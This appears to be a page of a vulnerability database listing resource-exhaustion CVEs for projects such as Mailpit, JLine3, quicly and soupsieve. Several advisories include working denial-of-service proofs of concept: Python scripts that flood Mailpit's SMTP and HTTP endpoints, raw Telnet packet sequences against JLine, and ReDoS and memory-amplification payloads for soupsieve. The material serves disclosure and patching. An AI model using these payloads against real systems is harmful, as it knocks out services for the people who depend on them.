CWE-400: Uncontrolled Resource Consumption vulnerabilities
856 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.5 | EPSS 0.6% | CVE-2026-45713axllent mailpit · Uncontrolled Resource Consumption High7.5EPSS 0.6%CVE Database V5CVE-2026-45713 ### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill. ### Details Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates). Affected code [internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists: ``` type Server struct { ... MaxSize int // Maximum message size allowed, in bytes ... } ``` [internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0: ``` for { ... line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded } ``` [internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var. [server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect: ``` decoder := json.NewDecoder(r.Body) data := sendMessageParams{} if err := decoder.Decode(&data.Body); err != nil { httpJSONError(w, err.Error()) return } ``` No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget. ### PoC Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth): ``` #!/usr/bin/env python3 # poc-smtp-dos.py import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:<a@b.com>\r\n", b"RCPT TO:<c@d.com>\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close() ``` ``` $ python3 poc-smtp-dos.py 127.0.0.1 1025 100 220 hostname Mailpit ESMTP Service ready 250 hostname greets x 250 2.1.0 Ok 250 2.1.5 Ok 354 Start mail input; end with <CR><LF>.<CR><LF> 250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline ``` Equivalent over HTTP: ``` # poc-http-dos.py import socket, sys host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"' suffix = b'"}' N = mb * 1024 * 1024 clen = len(prefix) + N + len(suffix) s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace")) ``` ``` $ python3 poc-http-dos.py 127.0.0.1 8025 200 HTTP/1.1 200 OK ... $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 2147000 # comfortably above 2 GiB on the same process ``` Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB | CVE Database V5 | ||
| High | 7.5 | EPSS 0.7% | High7.5EPSS 0.7%CVE Database V5CVE-2026-59173 Uncontrolled Resource Consumption vulnerability in Apache Traffic Server. This issue affects Apache Traffic Server: from 9.0.0 through 9.1.13, from 10.0.0 through 10.1.2. Users are recommended to upgrade to version 9.1.14 or 10.1.3, which fixes the issue. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-56740jline jline3 · Uncontrolled Resource Consumption High7.5EPSS 0.6%CVE Database V5CVE-2026-56740 ### Summary The JLine3 Telnet server (`remote-telnet` module) does not limit the number of environment variables a client may inject via the Telnet NEW-ENVIRON option. An unauthenticated attacker can flood the server with a large number of unique variable pairs before sending the terminating IAC SE byte, exhausting JVM heap memory and causing an OutOfMemoryError (denial of service). Approximately 3–4 MB of network traffic is sufficient to consume a 512 MB JVM heap. ### Details `TelnetIO.readNEVariables()` (TelnetIO.java:1127-1180) processes incoming NEW-ENVIRON variable pairs in a loop and stores each pair in a `HashMap` held by `ConnectionData`: ```java // TelnetIO.java:1139-1178 boolean cont = true; if (i == NE_VAR || i == NE_USERVAR) { do { switch (readNEVariableName(sbuf)) { case NE_VAR_OK: TelnetIO.this.connectionData.getEnvironment().put(str, sbuf.toString()); // ← no per-connection count limit break; case NE_VAR_UNDEFINED: break; // cont remains true, loop continues } } while (cont); // cont is never set to false; only exits via return } ``` The variable accumulator map is a plain `HashMap` initialized with capacity 20 and **no maximum size**: ```java // ConnectionData.java:98 environment = new HashMap<String, String>(20); ``` Per-variable limits exist (name: max 50 chars, value: max 1000 chars), but there is no cap on the *count* of variables. Each map entry occupies approximately 2 KB of heap (String headers + `Map.Entry` + backing char arrays). On a JVM with a 512 MB heap, approximately 250,000 unique entries trigger an `OutOfMemoryError`. Network cost: using sequential 1-byte names (e.g., `\x01`, `\x02`, ...) and 1-byte values, each variable pair requires roughly 13 protocol bytes. Sending 250,000 pairs requires only ~3.25 MB of network traffic — feasible in seconds over any reasonable network connection. No authentication is required. NEW-ENVIRON negotiation occurs before login. Affected source files: - `remote-telnet/src/main/java/org/jline/builtins/telnet/TelnetIO.java` lines 1127-1180 - `remote-telnet/src/main/java/org/jline/builtins/telnet/ConnectionData.java` line 98 ### PoC Connect to the JLine3 Telnet server and, after completing WILL/DO option negotiation, send a NEW-ENVIRON SEND subneg followed by a single large IS subneg containing thousands of unique variable pairs before the final IAC SE. Protocol structure (no authentication required): 1. Standard Telnet option negotiation (IAC DO NEW-ENVIRON, IAC WILL NEW-ENVIRON) 2. Server sends IAC SB NEW-ENVIRON SEND IAC SE 3. Client responds with: IAC SB NEW-ENVIRON IS [NE_VAR 0x01 NE_VALUE 0x01] ← variable pair 1 [NE_VAR 0x02 NE_VALUE 0x01] ← variable pair 2 ... repeated N times ... IAC SE ← only sent after N pairs Each iteration adds one entry to the per-connection environment map. The connection thread blocks reading from the socket while accumulating pairs, so the attacker controls the timing of the OOM. Reproduction environment: - JLine3 built from current master on x86_64 Linux, OpenJDK 25.0.2 - `remote-telnet` module started with its default configuration - Confirmed by source-code analysis; loop exit condition and missing count guard verified by inspection of `readNEVariables()` and `ConnectionData` constructor ### Impact **Type**: Denial of Service (heap memory exhaustion / OutOfMemoryError) **Who is affected**: Any application embedding the JLine3 `remote-telnet` module and exposing its Telnet server. No credentials are required. A single connection can exhaust the entire JVM heap, crashing the host process or triggering JVM out-of-memory handling that impacts all users sharing that JVM instance. ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.7% | CVE-2026-49485org.hl7.fhir.core · ReDoS via FHIRPath matches()/replaceMatches() in FHIR Validator HTTP Endpoint High7.5EPSS 0.7%GCVE DatabaseCVE-2026-49485 A vulnerability in HAPI FHIR's org.hl7.fhir.core module allows denial of service via inefficient regular expression evaluation. Versions prior to 6.9.4.2 and between 6.9.5 and before 6.9.9 accept arbitrary FHIRPath expressions without sufficient input validation. The matches(), matchesFull(), and replaceMatches() functions pass user-controlled regex patterns to Java's Pattern.compile() and String.replaceAll() with an incomplete timeout mechanism, enabling catastrophic backtracking and CPU exhaustion. This issue is fixed in versions 6.9.9 and 6.9.4.2. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-56741jline jline3 · Uncontrolled Resource Consumption High7.5EPSS 0.6%CVE Database V5CVE-2026-56741 ### Summary The JLine3 Telnet server (`remote-telnet` module) does not apply an upper bound to terminal dimensions received via the Telnet NAWS (Negotiate About Window Size) option. An unauthenticated remote attacker can send a NAWS subnegotiation advertising a 65535×65535 terminal and repeatedly alternate values to trigger continuous, expensive rendering work on the server, causing CPU exhaustion and denial of service. ### Details `TelnetIO.handleNAWS()` (TelnetIO.java:856-879) reads the client-supplied width and height as 16-bit unsigned integers and passes them to `setTerminalGeometry()`: ```java // TelnetIO.java:869-875 private void setTerminalGeometry(int columns, int rows) { if (columns < SMALLEST_BELIEVABLE_WIDTH) columns = DEFAULT_WIDTH; // lower bound only if (rows < SMALLEST_BELIEVABLE_HEIGHT) rows = DEFAULT_HEIGHT; connectionData.setTerminalGeometry(columns, rows); connection.processConnectionEvent( new ConnectionEvent(connection, ConnectionEvent.Type.CONNECTION_TERMINAL_GEOMETRY_CHANGED)); } ``` Only a *lower* bound is enforced (minimum 20 columns / 6 rows). Values up to 65535 are accepted and stored. The geometry change event propagates to Telnet.java:153-158 where it calls: terminal.setSize(new Size(65535, 65535)); terminal.raise(Signal.WINCH); The WINCH signal triggers `LineReaderImpl.handleSignal()` → `redisplay()`. Inside `redisplay()`, multiple paths iterate up to `size.getColumns()` times: - `freshLine()` (LineReaderImpl.java:937,953): loops `size.getColumns()-1` = **65534 iterations**, building and writing a space-padding string across the network socket. - `columnSplitLength(terminal, size.getColumns(), ...)`: called multiple times, each processing all characters against the 65535-wide line width. Because WINCH only fires on *change*, the attacker alternates between two large values (e.g., 65535 and 65534) to trigger an unlimited stream of expensive render cycles. No authentication is required; the NAWS option is negotiated before any login sequence. Affected source files: - `remote-telnet/src/main/java/org/jline/builtins/telnet/TelnetIO.java` lines 856-879 - `remote-telnet/src/main/java/org/jline/builtins/telnet/Telnet.java` lines 140-175 - `reader/src/main/java/org/jline/reader/impl/LineReaderImpl.java` lines 929-962, 1293-1313 ### PoC Send the following two raw Telnet packets in a loop to a running JLine Telnet server. No login or authentication is required. Packet 1 — NAWS 65535 × 65535: FF FA 1F FF FF FF FF FF F0 (IAC SB NAWS 0xFF 0xFF 0xFF 0xFF IAC SE) Packet 2 — NAWS 65534 × 65534: FF FA 1F FF FE FF FE FF F0 (IAC SB NAWS 0xFF 0xFE 0xFF 0xFE IAC SE) Sending these alternately at ~10 packets/second is sufficient to peg one CPU core on the server. The server remains in this state for as long as the connection is open. Reproduction environment: - JLine3 built from current master on x86_64 Linux, OpenJDK 25.0.2 - `remote-telnet` module started with its default `Telnet` server configuration - Test confirmed by source-code analysis and tracing the call chain at runtime ### Impact **Type**: Denial of Service (CPU exhaustion) **Who is affected**: Any application that embeds the JLine3 `remote-telnet` module and exposes its Telnet server on a network interface. The attacker requires no credentials. A single connection making ~10 alternating NAWS packets per second fully occupies the connection-handling thread and produces continuous I/O on the server's output stream. Because connection threads are re-used for the life of the session, one attacker per available connection slot can deny service to all users of that slot. ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.5% | High7.5EPSS 0.5%CVE Database V5CVE-2026-9171 IBM WebSphere Application Server and WebSphere Application Server Liberty are vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.5% | CVE-2026-44435h2o quicly · Reachable Assertion High7.5EPSS 0.5%CVE Database V5CVE-2026-44435 Quicly is an IETF QUIC protocol implementation intended primarily for use within the H2O HTTP server. Prior to commit 937d0e9, an assertion failure is raised when the total number of valid handshake messages received over a CRYPTO stream of a single packet number space exceeds 32KB, causing a Denial of Service. This issue has been fixed by commit 937d0e9. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.5% | CVE-2026-44433h2o quicly · Unthrottled Resource Allocation Medium5.3EPSS 0.5%CVE Database V5CVE-2026-44433 Quicly is an IETF QUIC protocol implementation intended primarily for use within the H2O HTTP server. Prior to commit 8b178e6, an adversarial peer could send a STREAM frame carrying just one byte at the largest offset being permitted to obtain additional flow control credit, which under certain circumstances could lead to a Denial of Service. Assuming the application prepares a receive buffer for storing all data that arrive out-of-order, up to the largest offset being received, this behavior could lead to the application allocating large amount of memory with the peer sending only a handful of packets, resulting in memory exhaustion. In addition to the receive buffer allocation strategy, the severity of this vulnerability depends on how the application controls the stream concurrency. In case of the H2O HTTP server, under its default setting, this bug increases the maximum amount of memory allocated per connection by about 4 times. This issue has been fixed by commit 8b178e6. | CVE Database V5 | ||
| High | 8.1 | EPSS 0.4% | CVE-2026-44019docling-core · External Control of File Name or Path High8.1EPSS 0.4%CVE Database V5CVE-2026-44019 Docling Core defines core data types and transformations for the document processing application Docling. In versions 2.5.0 and above, prior to 2.74.1, docling-core could allow local file:// image references and accepted inline data: content without a decoded-size limit. In applications that accept untrusted image references, this may allow access to local files readable by the process or excessive memory use from large inline payloads. This issue has been fixed in version 2.74.1. | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.8% | CVE-2026-55407anthropics buffa · Uncontrolled Resource Consumption Medium6.3EPSS 0.8%CVE Database V5CVE-2026-55407 Buffa is a pure-Rust Protocol Buffers implementation with first-class protobuf editions support. Prior to 0.8.0, the decode_unknown_field function in buffa's protobuf decoder allocated heap memory in proportion to untrusted input (unknown fields in the serialized protobuf) without enforcing an allocation budget, affecting any message decoded from untrusted input using code generated with preserve_unknown_fields=true (the default); a small, well-formed payload of nested unknown fields inside a StartGroup could trigger roughly 22x memory amplification (for example a 64 MiB input forcing about 1.4 GB of heap allocation), and length-delimited unknown fields could be sized arbitrarily, so an unauthenticated attacker could crash a process through memory exhaustion because the top-level message size cap did not account for in-decode amplification. This issue is fixed in version 0.8.0. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.7% | CVE-2026-55440microsoft UFO · Uncontrolled Resource Consumption Medium6.5EPSS 0.7%CVE Database V5CVE-2026-55440 Microsoft UFO open-source framework for intelligent automation across devices and platforms. Prior to 3.0.7, the COMMAND_RESULTS handler in ufo/server/ws/handler.py called get_or_create_session in ufo/server/services/session_manager.py without owner_client_id, allowing an authenticated client to create an unowned attacker-chosen session_id such as constellation_task_id = f"{task_name}@{task_id}" and deny the legitimate owner or exhaust memory with phantom sessions. This issue is fixed in version 3.0.7. | CVE Database V5 | ||
| Medium | 5.1 | EPSS 0.4% | Medium5.1EPSS 0.4%CVE Database V5CVE-2026-55399 CVE-2026-55399 is a resource exhaustion vulnerability in Absolute Security's Secure Access publisher versions prior to 14.55. An attacker with valid credentials to the Secure Access tunnel can trigger a non-persistent denial-of-service (DoS) condition against the publisher. This vulnerability has a medium severity rating with a CVSS 4.0 base score of 5.1. No official patch or remediation guidance has been provided yet by the vendor. There are no known exploits in the wild at this time. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | Medium6.9EPSS 0.4%CVE Database V5CVE-2026-55398 CVE-2026-55398 is a memory management vulnerability affecting Absolute Security's Secure Access clients and servers prior to version 14.55. This flaw allows attackers with detailed knowledge and full control over the tunnel protocol to cause a non-persistent denial-of-service (DoS) condition against the server. The vulnerability is classified as medium severity with a CVSS 4.0 base score of 6.9. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.4% | High8.7EPSS 0.4%CVE Database V5CVE-2026-33445 CVE-2026-33445 is a memory management vulnerability in Absolute Security's Secure Access servers prior to version 14.55. It allows attackers with detailed knowledge and full control of the tunnel protocol to cause a persistent denial-of-service (DoS) condition against the server. The vulnerability has a high severity with a CVSS score of 8.7. No official patch or remediation guidance has been provided yet by the vendor. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | Medium6.9EPSS 0.4%CVE Database V5CVE-2026-33444 CVE-2026-33444 is a memory management vulnerability affecting Absolute Security Secure Access servers prior to version 14.55. The flaw allows attackers with detailed knowledge and full control over the tunnel protocol to cause a non-persistent denial of service (DoS) against the server. The vulnerability is classified with a medium severity and has a CVSS 4.0 base score of 6.9. There is no official remediation level or patch explicitly stated in the available data. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.4% | High7.1EPSS 0.4%CVE Database V5CVE-2026-33443 CVE-2026-33443 is a memory management vulnerability in Absolute Security Secure Access servers prior to version 14.55. It allows attackers with detailed knowledge and full control of the tunnel protocol to cause a persistent denial-of-service (DoS) condition against the server. The vulnerability has a high severity rating with a CVSS 4.0 base score of 7.1. No official patch or remediation guidance has been provided yet. | CVE Database V5 | ||
| Medium | 6.2 | EPSS 0.3% | Medium6.2EPSS 0.3%CVE Database V5CVE-2026-48357 CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49477 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack. To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated. Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected. ### Details **Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for: 1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"` 2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'` 3. Unquoted identifiers When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string. **Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input. **Key characteristics:** - **Input size:** Only 300 bytes are needed to trigger a >3 second hang - **Amplification:** Each additional character approximately doubles the backtracking time - **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound) ### Proof of Concept ```python import time import soupsieve as sv PAYLOAD_LEN = 300 # Control: well-formed selector with terminated quote (completes instantly) well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]' start = time.perf_counter() try: sv.compile(well_formed) except Exception: pass control_time = time.perf_counter() - start print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s") # Exploit: unterminated quote triggers catastrophic regex backtracking malformed = '[a="' + ('x' * PAYLOAD_LEN) start = time.perf_counter() try: sv.compile(malformed) # WARNING: This will hang for >3 seconds except Exception: pass exploit_time = time.perf_counter() - start print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s") slowdown = exploit_time / max(control_time, 1e-9) print(f"Slowdown: {slowdown:.0f}x") # Expected output: # Well-formed selector (306 bytes): ~0.001s # Malformed selector (304 bytes): >3.0s (may need to be killed) # Slowdown: >3000x # # NOTE: On some systems the malformed selector may hang indefinitely. # Use a timeout mechanism (signal.alarm, threading.Timer) when testing. ``` **Safe testing variant with timeout:** ```python import signal import soupsieve as sv def timeout_handler(signum, frame): raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout") PAYLOAD_LEN = 300 malformed = '[a="' + ('x' * PAYLOAD_LEN) signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(3) # 3-second timeout try: sv.compile(malformed) print("Selector compiled (not vulnerable)") except TimeoutError as e: print(f"VULNERABLE: {e}") except Exception as e: print(f"Other error: {e}") finally: signal.alarm(0) # Cancel the alarm ``` ### Impact **Severity: High** An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because: 1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits 2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`) 3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable 4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals) | Parameter | Value | |---|---| | Input size | 300 bytes | | CPU time consumed | >3 seconds (exponential with payload length) | | Memory consumed | Negligible (CPU-only attack) | | Authentication requir | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49476 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service. To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately. A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**. ### Details **Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106 The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata. When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser: 1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106) 2. Parses each segment into a full `Selector` object with all associated metadata (line ~925) 3. Stores all parsed selectors in a `SelectorList` (line ~204) **Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph. **Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`. ### Proof of Concept ```python import tracemalloc import soupsieve as sv tracemalloc.start() # Build a 500 KB selector string: "a,a,a,...,a" (250,000 items) count = 250_000 selector = ",".join("a" for _ in range(count)) print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)") # Compile the selector — this allocates ~244 MB compiled = sv.compile(selector) current, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"Compiled selector count: {len(compiled.selectors):,}") print(f"Current memory: {current / 1024 / 1024:.1f} MB") print(f"Peak memory: {peak / 1024 / 1024:.1f} MB") print(f"Amplification ratio: {peak / len(selector):.0f}x") # Expected output: # Selector string size: 499,999 bytes (488 KB) # Compiled selector count: 250,000 # Current memory: ~244 MB # Peak memory: ~244 MB # Amplification ratio: ~488x ``` ### Impact **Severity: High** An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause: - **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits - **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes - **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory | Parameter | Value | |---|---| | Input size | ~500 KB selector string | | Memory allocated | ~244 MB | | Amplification ratio | ~488× | | Per-object overhead | ~976 bytes per selector | | Authentication required | None | | User interaction required | None | **Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect. **Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected. --- ### Credit Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/ | GCVE Database |
Page 22 of 44 · 1 duplicate CVE record merged